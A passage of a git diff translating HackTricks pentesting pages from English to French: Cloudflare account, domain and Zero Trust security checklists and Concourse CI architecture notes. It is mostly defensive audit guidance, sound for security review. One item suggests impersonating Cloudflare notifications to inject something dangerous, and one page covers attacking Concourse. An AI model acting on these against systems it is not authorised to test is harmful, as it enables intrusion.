-> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
+> Notez qu'un **Worker reçoit par défaut une URL** telle que `<worker-name>.<account>.workers.dev`. L'utilisateur peut le définir sur un **sous-domaine**, mais vous pouvez toujours y accéder avec cette **URL originale** si vous la connaissez.
 
 ## R2
 
-On each R2 bucket check:
+Sur chaque bucket R2, vérifiez :
 
-- [ ] Configure **CORS Policy**.
+- [ ] Configurez la **politique CORS**.
 
 ## Stream
 
@@ -70,8 +70,8 @@ TODO
 
 ## Security Center
 
-- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
-- [ ] Just **check this information** for security misconfigurations and interesting info
+- [ ] Si possible, exécutez un **scan `Security Insights`** et un **scan `Infrastructure`**, car ils **mettront en évidence** des informations intéressantes sur la **sécurité**.
+- [ ] Vérifiez simplement ces informations pour des erreurs de configuration de sécurité et des informations intéressantes.
 
 ## Turnstile
 
@@ -86,53 +86,49 @@ cloudflare-zero-trust-network.md
 ## Bulk Redirects
 
 > [!NOTE]
-> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
+> Contrairement aux [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), les [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) sont essentiellement statiques — ils ne prennent pas en charge les opérations de remplacement de chaîne ou les expressions régulières. Cependant, vous pouvez configurer des paramètres de redirection d'URL qui affectent leur comportement de correspondance d'URL et leur comportement d'exécution.
 
-- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
-- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
+- [ ] Vérifiez que les **expressions** et **exigences** pour les redirections **ont du sens**.
+- [ ] Vérifiez également les **points de terminaison cachés sensibles** qui contiennent des informations intéressantes.
 
 ## Notifications
 
-- [ ] Check the **notifications.** These notifications are recommended for security:
-  - `Usage Based Billing`
-  - `HTTP DDoS Attack Alert`
-  - `Layer 3/4 DDoS Attack Alert`
-  - `Advanced HTTP DDoS Attack Alert`
-  - `Advanced Layer 3/4 DDoS Attack Alert`
-  - `Flow-based Monitoring: Volumetric Attack`
-  - `Route Leak Detection Alert`
-  - `Access mTLS Certificate Expiration Alert`
-  - `SSL for SaaS Custom Hostnames Alert`
-  - `Universal SSL Alert`
-  - `Script Monitor New Code Change Detection Alert`
-  - `Script Monitor New Domain Alert`
-  - `Script Monitor New Malicious Domain Alert`
-  - `Script Monitor New Malicious Script Alert`
-  - `Script Monitor New Malicious URL Alert`
-  - `Script Monitor New Scripts Alert`
-  - `Script Monitor New Script Exceeds Max URL Length Alert`
-  - `Advanced Security Events Alert`
-  - `Security Events Alert`
-- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
-  - [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
+- [ ] Vérifiez les **notifications.** Ces notifications sont recommandées pour la sécurité :
+- `Usage Based Billing`
+- `HTTP DDoS Attack Alert`
+- `Layer 3/4 DDoS Attack Alert`
+- `Advanced HTTP DDoS Attack Alert`
+- `Advanced Layer 3/4 DDoS Attack Alert`
+- `Flow-based Monitoring: Volumetric Attack`
+- `Route Leak Detection Alert`
+- `Access mTLS Certificate Expiration Alert`
+- `SSL for SaaS Custom Hostnames Alert`
+- `Universal SSL Alert`
+- `Script Monitor New Code Change Detection Alert`
+- `Script Monitor New Domain Alert`
+- `Script Monitor New Malicious Domain Alert`
+- `Script Monitor New Malicious Script Alert`
+- `Script Monitor New Malicious URL Alert`
+- `Script Monitor New Scripts Alert`
+- `Script Monitor New Script Exceeds Max URL Length Alert`
+- `Advanced Security Events Alert`
+- `Security Events Alert`
+- [ ] Vérifiez toutes les **destinations**, car il pourrait y avoir des **informations sensibles** (authentification http basique) dans les URLs de webhook. Assurez-vous également que les URLs de webhook utilisent **HTTPS**.
+- [ ] En vérification supplémentaire, vous pourriez essayer de **imiter une notification Cloudflare** à un tiers, peut-être que vous pouvez d'une manière ou d'une autre **injecter quelque chose de dangereux**.
 
 ## Manage Account
 
-- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
-- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
-- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
-  - Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
-- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
+- [ ] Il est possible de voir les **4 derniers chiffres de la carte de crédit**, la **date d'expiration** et l'**adresse de facturation** dans **`Billing` -> `Payment info`**.
+- [ ] Il est possible de voir le **type de plan** utilisé dans le compte dans **`Billing` -> `Subscriptions`**.
+- [ ] Dans **`Members`**, il est possible de voir tous les membres du compte et leur **rôle**. Notez que si le type de plan n'est pas Enterprise, seuls 2 rôles existent : Administrateur et Super Administrateur. Mais si le **plan utilisé est Enterprise**, [**plus de rôles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) peuvent être utilisés pour suivre le principe du moindre privilège.
+- Par conséquent, chaque fois que cela est possible, il est **recommandé** d'utiliser le **plan Enterprise**.
+- [ ] Dans Members, il est possible de vérifier quels **membres** ont **2FA activé**. **Chaque** utilisateur devrait l'avoir activé.
 
 > [!NOTE]
-> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
+> Notez qu'il est heureusement que le rôle **`Administrator`** ne donne pas de permissions pour gérer les adhésions (**ne peut pas élever les privilèges ou inviter** de nouveaux membres).
 
 ## DDoS Investigation
 
-[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
+[Consultez cette partie](cloudflare-domains.md#cloudflare-ddos-protection).
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 02989e685..6cbf79e7b 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -1,30 +1,30 @@
-# Cloudflare Domains
+# Domaines Cloudflare
 
 {{#include ../../banners/hacktricks-training.md}}
 
-In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+Dans chaque TLD configuré dans Cloudflare, il y a des **paramètres généraux et des services** qui peuvent être configurés. Sur cette page, nous allons **analyser les paramètres liés à la sécurité de chaque section :**
 
 <figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
 
-### Overview
+### Aperçu
 
-- [ ] Get a feeling of **how much** are the services of the account **used**
-- [ ] Find also the **zone ID** and the **account ID**
+- [ ] Avoir une idée de **combien** les services du compte sont **utilisés**
+- [ ] Trouver également le **zone ID** et le **account ID**
 
-### Analytics
+### Analytique
 
-- [ ] In **`Security`** check if there is any **Rate limiting**
+- [ ] Dans **`Sécurité`**, vérifier s'il y a une **limitation de taux**
 
 ### DNS
 
-- [ ] Check **interesting** (sensitive?) data in DNS **records**
-- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
-- [ ] Check for web pages that **aren't** **proxied**
-- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
-- [ ] Check that **DNSSEC** is **enabled**
-- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
-  - This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
-- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
+- [ ] Vérifier les données **intéressantes** (sensibles ?) dans les **enregistrements DNS**
+- [ ] Vérifier les **sous-domaines** qui pourraient contenir des **informations sensibles** juste en se basant sur le **nom** (comme admin173865324.domin.com)
+- [ ] Vérifier les pages web qui **ne sont pas** **proxyées**
+- [ ] Vérifier les **pages web proxyées** qui peuvent être **accessibles directement** par CNAME ou adresse IP
+- [ ] Vérifier que **DNSSEC** est **activé**
+- [ ] Vérifier que **CNAME Flattening** est **utilisé** dans **tous les CNAMEs**
+- Cela pourrait être utile pour **cacher les vulnérabilités de prise de contrôle de sous-domaines** et améliorer les temps de chargement
+- [ ] Vérifier que les domaines [**ne sont pas vulnérables au spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
 
 ### **Email**
 
@@ -36,91 +36,91 @@ TODO
 
 ### SSL/TLS
 
-#### **Overview**
+#### **Aperçu**
 
-- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
-- [ ] The **SSL/TLS Recommender** should be enabled
+- [ ] Le **chiffrement SSL/TLS** doit être **Complet** ou **Complet (Strict)**. Tout autre enverra du **trafic en clair** à un moment donné.
+- [ ] Le **Recommander SSL/TLS** doit être activé
 
-#### Edge Certificates
+#### Certificats Edge
 
-- [ ] **Always Use HTTPS** should be **enabled**
-- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
-- [ ] **Minimum TLS Version should be 1.2**
-- [ ] **TLS 1.3 should be enabled**
-- [ ] **Automatic HTTPS Rewrites** should be **enabled**
-- [ ] **Certificate Transparency Monitoring** should be **enabled**
+- [ ] **Always Use HTTPS** doit être **activé**
+- [ ] **HTTP Strict Transport Security (HSTS)** doit être **activé**
+- [ ] **La version minimale de TLS doit être 1.2**
+- [ ] **TLS 1.3 doit être activé**
+- [ ] **Automatic HTTPS Rewrites** doit être **activé**
+- [ ] **Certificate Transparency Monitoring** doit être **activé**
 
-### **Security**
+### **Sécurité**
 
-- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
-  - The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
-- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
-- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
-- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
-- [ ] In the **`Settings`** section:
-  - [ ] Check that the **`Security Level`** is **medium** or greater
-  - [ ] Check that the **`Challenge Passage`** is 1 hour at max
-  - [ ] Check that the **`Browser Integrity Check`** is **enabled**
-  - [ ] Check that the **`Privacy Pass Support`** is **enabled**
+- [ ] Dans la section **`WAF`**, il est intéressant de vérifier que les **règles de pare-feu** et de **limitation de taux sont utilisées** pour prévenir les abus.
+- L'action **`Bypass`** désactivera les fonctionnalités de sécurité de Cloudflare pour une requête. Elle ne devrait pas être utilisée.
+- [ ] Dans la section **`Page Shield`**, il est recommandé de vérifier qu'elle est **activée** si une page est utilisée
+- [ ] Dans la section **`API Shield`**, il est recommandé de vérifier qu'elle est **activée** si une API est exposée dans Cloudflare
+- [ ] Dans la section **`DDoS`**, il est recommandé d'activer les **protections DDoS**
+- [ ] Dans la section **`Paramètres`** :
+- [ ] Vérifier que le **`Niveau de Sécurité`** est **moyen** ou supérieur
+- [ ] Vérifier que le **`Challenge Passage`** est de 1 heure au maximum
+- [ ] Vérifier que le **`Vérification de l'Intégrité du Navigateur`** est **activée**
+- [ ] Vérifier que le **`Support de Privacy Pass`** est **activé**
 
-#### **CloudFlare DDoS Protection**
+#### **Protection DDoS CloudFlare**
 
-- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
-- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
-  - If the attack is from a **verified bot**, at least **add a rate limit** to bots.
-  - If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
-  - You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
-  - Check if **Managed rules** could also help to prevent vulnerability exploitations.
-  - In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
-- In DDoS you could **override some rules to make them more restrictive**.
-- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
-- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
-- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
+- Si vous le pouvez, activez le **Mode de Lutte contre les Bots** ou le **Mode de Lutte contre les Super Bots**. Si vous protégez une API accessible de manière programmatique (depuis une page frontale JS par exemple). Vous pourriez ne pas être en mesure d'activer cela sans rompre cet accès.
+- Dans **WAF** : Vous pouvez créer des **limites de taux par chemin URL** ou pour des **bots vérifiés** (règles de limitation de taux), ou pour **bloquer l'accès** basé sur l'IP, le Cookie, le référent...). Ainsi, vous pourriez bloquer les requêtes qui ne proviennent pas d'une page web ou qui n'ont pas de cookie.
+- Si l'attaque provient d'un **bot vérifié**, au moins **ajoutez une limite de taux** aux bots.
+- Si l'attaque est dirigée vers un **chemin spécifique**, comme mécanisme de prévention, ajoutez une **limite de taux** dans ce chemin.
+- Vous pouvez également **whitelister** des adresses IP, des plages IP, des pays ou des ASN depuis les **Outils** dans WAF.
+- Vérifiez si les **règles gérées** pourraient également aider à prévenir les exploitations de vulnérabilités.
+- Dans la section **Outils**, vous pouvez **bloquer ou donner un défi à des IP spécifiques** et **agents utilisateurs.**
+- Dans DDoS, vous pourriez **remplacer certaines règles pour les rendre plus restrictives**.
+- **Paramètres** : Réglez le **Niveau de Sécurité** sur **Élevé** et sur **Sous Attaque** si vous êtes Sous Attaque et que la **Vérification de l'Intégrité du Navigateur est activée**.
+- Dans Cloudflare Domains -> Analytics -> Security -> Vérifiez si la **limite de taux** est activée
+- Dans Cloudflare Domains -> Security -> Events -> Vérifiez les **Événements malveillants détectés**
 
-### Access
+### Accès
 
 {{#ref}}
 cloudflare-zero-trust-network.md
 {{#endref}}
 
-### Speed
+### Vitesse
 
-_I couldn't find any option related to security_
+_Je n'ai pas trouvé d'option liée à la sécurité_
 
-### Caching
+### Mise en cache
 
-- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
+- [ ] Dans la section **`Configuration`**, envisagez d'activer l'**outil de scan CSAM**
 
-### **Workers Routes**
+### **Routes des Workers**
 
-_You should have already checked_ [_cloudflare workers_](./#workers)
+_Vous devriez déjà avoir vérifié_ [_cloudflare workers_](./#workers)
 
-### Rules
+### Règles
 
 TODO
 
-### Network
+### Réseau
 
-- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
-- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
-- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
+- [ ] Si **`HTTP/2`** est **activé**, **`HTTP/2 to Origin`** doit être **activé**
+- [ ] **`HTTP/3 (avec QUIC)`** doit être **activé**
+- [ ] Si la **vie privée** de vos **utilisateurs** est importante, assurez-vous que **`Onion Routing`** est **activé**
 
-### **Traffic**
+### **Trafic**
 
 TODO
 
-### Custom Pages
+### Pages personnalisées
 
-- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
+- [ ] Il est optionnel de configurer des pages personnalisées lorsqu'une erreur liée à la sécurité est déclenchée (comme un blocage, une limitation de taux ou le mode je suis sous attaque)
 
-### Apps
+### Applications
 
 TODO
 
 ### Scrape Shield
 
-- [ ] Check **Email Address Obfuscation** is **enabled**
-- [ ] Check **Server-side Excludes** is **enabled**
+- [ ] Vérifiez que l'**Obfuscation des Adresses Email** est **activée**
+- [ ] Vérifiez que les **Exclusions côté serveur** sont **activées**
 
 ### **Zaraz**
 
@@ -131,7 +131,3 @@ TODO
 TODO
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
index 491ae7bc1..b00bfc6c4 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -2,43 +2,43 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+Dans un compte **Cloudflare Zero Trust Network**, il y a certains **paramètres et services** qui peuvent être configurés. Sur cette page, nous allons **analyser les paramètres liés à la sécurité de chaque section :**
 
 <figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
 
 ### Analytics
 
-- [ ] Useful to **get to know the environment**
+- [ ] Utile pour **connaître l'environnement**
 
 ### **Gateway**
 
-- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
-  - If used, **policies** could be created to **restrict** the access to malicious sites.
-  - This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
+- [ ] Dans **`Policies`**, il est possible de générer des politiques pour **restreindre** par **DNS**, **réseau** ou **requête HTTP** qui peut accéder aux applications.
+- Si utilisé, des **politiques** pourraient être créées pour **restreindre** l'accès aux sites malveillants.
+- Ceci est **uniquement pertinent si une passerelle est utilisée**, sinon, il n'y a aucune raison de créer des politiques défensives.
 
 ### Access
 
 #### Applications
 
-On each application:
+Sur chaque application :
 
-- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
-  - To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
-- [ ] Check the **available identity providers** and make sure they **aren't too open**
-- [ ] In **`Settings`**:
-  - [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
-  - [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
-  - [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
+- [ ] Vérifiez **qui** peut accéder à l'application dans les **Policies** et vérifiez que **seulement** les **utilisateurs** qui **ont besoin d'accès** à l'application peuvent y accéder.
+- Pour permettre l'accès, des **`Access Groups`** vont être utilisés (et des **règles supplémentaires** peuvent également être définies)
+- [ ] Vérifiez les **fournisseurs d'identité disponibles** et assurez-vous qu'ils **ne sont pas trop ouverts**
+- [ ] Dans **`Settings`** :
+- [ ] Vérifiez que **CORS n'est pas activé** (s'il est activé, vérifiez qu'il est **sécurisé** et qu'il ne permet pas tout)
+- [ ] Les cookies doivent avoir l'attribut **Strict Same-Site**, **HTTP Only** et le **binding cookie** doit être **activé** si l'application est HTTP.
+- [ ] Envisagez également d'activer le **rendu du navigateur** pour une meilleure **protection. Plus d'infos sur** [**l'isolement du navigateur à distance ici**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
 
 #### **Access Groups**
 
-- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
-- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
-  - Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
+- [ ] Vérifiez que les groupes d'accès générés sont **correctement restreints** aux utilisateurs qu'ils devraient autoriser.
+- [ ] Il est particulièrement important de vérifier que le **groupe d'accès par défaut n'est pas très ouvert** (il **ne permet pas trop de personnes**) car par **défaut**, quiconque dans ce **groupe** pourra **accéder aux applications**.
+- Notez qu'il est possible de donner **accès** à **TOUS** et d'autres **politiques très ouvertes** qui ne sont pas recommandées à moins d'être 100 % nécessaires.
 
 #### Service Auth
 
-- [ ] Check that all service tokens **expires in 1 year or less**
+- [ ] Vérifiez que tous les jetons de service **expirent dans 1 an ou moins**
 
 #### Tunnels
 
@@ -50,16 +50,12 @@ TODO
 
 ### Logs
 
-- [ ] You could search for **unexpected actions** from users
+- [ ] Vous pourriez rechercher des **actions inattendues** de la part des utilisateurs
 
 ### Settings
 
-- [ ] Check the **plan type**
-- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
-- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
+- [ ] Vérifiez le **type de plan**
+- [ ] Il est possible de voir le **nom du propriétaire de la carte de crédit**, les **derniers 4 chiffres**, la **date d'expiration** et l'**adresse**
+- [ ] Il est recommandé d'**ajouter une expiration de siège utilisateur** pour supprimer les utilisateurs qui n'utilisent pas vraiment ce service
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md
index bcf20facf..3673e402d 100644
--- a/src/pentesting-ci-cd/concourse-security/README.md
+++ b/src/pentesting-ci-cd/concourse-security/README.md
@@ -1,37 +1,33 @@
-# Concourse Security
+# Sécurité de Concourse
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
+Concourse vous permet de **construire des pipelines** pour exécuter automatiquement des tests, des actions et créer des images chaque fois que vous en avez besoin (basé sur le temps, lorsque quelque chose se produit...)
 
-## Concourse Architecture
+## Architecture de Concourse
 
-Learn how the concourse environment is structured in:
+Découvrez comment l'environnement de concourse est structuré dans :
 
 {{#ref}}
 concourse-architecture.md
 {{#endref}}
 
-## Concourse Lab
+## Laboratoire Concourse
 
-Learn how you can run a concourse environment locally to do your own tests in:
+Découvrez comment vous pouvez exécuter un environnement concourse localement pour faire vos propres tests dans :
 
 {{#ref}}
 concourse-lab-creation.md
 {{#endref}}
 
-## Enumerate & Attack Concourse
+## Énumérer et attaquer Concourse
 
-Learn how you can enumerate the concourse environment and abuse it in:
+Découvrez comment vous pouvez énumérer l'environnement concourse et en abuser dans :
 
 {{#ref}}
 concourse-enumeration-and-attacks.md
 {{#endref}}
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
index d70167906..4cf295ed6 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -1,42 +1,38 @@
-# Concourse Architecture
+# Architecture de Concourse
 
-## Concourse Architecture
+## Architecture de Concourse
 
 {{#include ../../banners/hacktricks-training.md}}
 
-[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
+[**Données pertinentes de la documentation de Concourse :**](https://concourse-ci.org/internals.html)
 
 ### Architecture
 
 ![](<../../images/image (187).png>)
 
-#### ATC: web UI & build scheduler
+#### ATC : interface web et planificateur de builds
 
-The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
+L'ATC est le cœur de Concourse. Il exécute l'**interface web et l'API** et est responsable de toute la **planification** des pipelines. Il **se connecte à PostgreSQL**, qu'il utilise pour stocker les données des pipelines (y compris les journaux de builds).
 
-The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
+La responsabilité du [checker](https://concourse-ci.org/checker.html) est de vérifier en continu les nouvelles versions des ressources. Le [scheduler](https://concourse-ci.org/scheduler.html) est responsable de la planification des builds pour un job et le [build tracker](https://concourse-ci.org/build-tracker.html) est responsable de l'exécution de tout build planifié. Le [garbage collector](https://concourse-ci.org/garbage-collector.html) est le mécanisme de nettoyage pour supprimer tout objet inutilisé ou obsolète, tel que des conteneurs et des volumes.
 
-#### TSA: worker registration & forwarding
+#### TSA : enregistrement des workers et transfert
 
-The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
+Le TSA est un **serveur SSH sur mesure** qui est utilisé uniquement pour **enregistrer** en toute sécurité les [**workers**](https://concourse-ci.org/internals.html#architecture-worker) avec l'[ATC](https://concourse-ci.org/internals.html#component-atc).
 
-The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
+Le TSA écoute par **défaut sur le port `2222`**, et est généralement co-localisé avec l'[ATC](https://concourse-ci.org/internals.html#component-atc) et se trouve derrière un équilibreur de charge.
 
-The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
+Le **TSA implémente CLI sur la connexion SSH,** prenant en charge [**ces commandes**](https://concourse-ci.org/internals.html#component-tsa).
 
 #### Workers
 
-In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
+Pour exécuter des tâches, Concourse doit avoir des workers. Ces workers **s'enregistrent** via le [TSA](https://concourse-ci.org/internals.html#component-tsa) et exécutent les services [**Garden**](https://github.com/cloudfoundry-incubator/garden) et [**Baggageclaim**](https://github.com/concourse/baggageclaim).
 
-- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
-- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
+- **Garden** : C'est l'**API de gestion des conteneurs**, généralement exécutée sur le **port 7777** via **HTTP**.
+- **Baggageclaim** : C'est l'**API de gestion des volumes**, généralement exécutée sur le **port 7788** via **HTTP**.
 
-## References
+## Références
 
 - [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index 4b778a804..b0735fb4f 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -4,215 +4,204 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-### User Roles & Permissions
+### Rôles et Permissions des Utilisateurs
 
-Concourse comes with five roles:
+Concourse est livré avec cinq rôles :
 
-- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
-- **owner**: Team owners can **modify everything within the team**.
-- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
-- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
-- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
+- _Concourse_ **Admin** : Ce rôle est uniquement attribué aux propriétaires de l'**équipe principale** (équipe concourse initiale par défaut). Les admins peuvent **configurer d'autres équipes** (par exemple : `fly set-team`, `fly destroy-team`...). Les permissions de ce rôle ne peuvent pas être affectées par RBAC.
+- **propriétaire** : Les propriétaires d'équipe peuvent **modifier tout au sein de l'équipe**.
+- **membre** : Les membres de l'équipe peuvent **lire et écrire** au sein des **ressources de l'équipe** mais ne peuvent pas modifier les paramètres de l'équipe.
+- **opérateur de pipeline** : Les opérateurs de pipeline peuvent effectuer des **opérations de pipeline** telles que déclencher des builds et épingler des ressources, cependant ils ne peuvent pas mettre à jour les configurations de pipeline.
+- **spectateur** : Les spectateurs d'équipe ont un accès **"lecture seule" à une équipe** et à ses pipelines.
 
 > [!NOTE]
-> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+> De plus, les **permissions des rôles propriétaire, membre, opérateur de pipeline et spectateur peuvent être modifiées** en configurant RBAC (en configurant plus spécifiquement ses actions). Lisez-en plus à ce sujet ici : [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
 
-Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
+Notez que Concourse **groupe les pipelines à l'intérieur des Équipes**. Par conséquent, les utilisateurs appartenant à une Équipe pourront gérer ces pipelines et **plusieurs Équipes** peuvent exister. Un utilisateur peut appartenir à plusieurs Équipes et avoir des permissions différentes à l'intérieur de chacune d'elles.
 
-### Vars & Credential Manager
+### Vars & Gestionnaire de Credentials
 
-In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
